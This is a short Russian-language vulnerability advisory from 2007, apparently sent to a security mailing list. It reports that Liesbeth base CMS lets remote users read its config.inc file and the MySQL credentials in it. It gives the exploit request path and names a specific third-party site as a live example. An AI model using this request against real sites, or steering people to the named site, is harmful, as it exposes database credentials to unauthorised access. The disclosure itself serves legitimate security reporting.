Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Vulnerability in Moodle

From:	durito <durito_(at)_mail.ru>
Date:	02.07.2007
Subject:	уязвимость в Liesbeth base CMS

Здравствуйте, 3APA3A.

Software:   Liesbeth base CMS
Vendor:  www.doubleflex.com
Vulnerability: просмотр реквизитов доступа к БД
Risk:  средний
Date:  30.06.2007
discovered by durito [damagelab] -durito[at]mail[dot]ru-
HTTP:       durito.narod.ru
            www.damagelab.org
                        
+~~~:| Details |:

 Просмотр реквизитов доступа к БД MySQL удаленным пользователем

+~~~:| Экплойт |:

 http://www.target.com/config.inc


+~~~:| Пример |:

 http://www.grandmonceau.com/config.inc  

--
С уважением,
durito [NGH Group]                 mailto:durito@mail.ru
http://durito.narod.ru
http://ngh.void.ru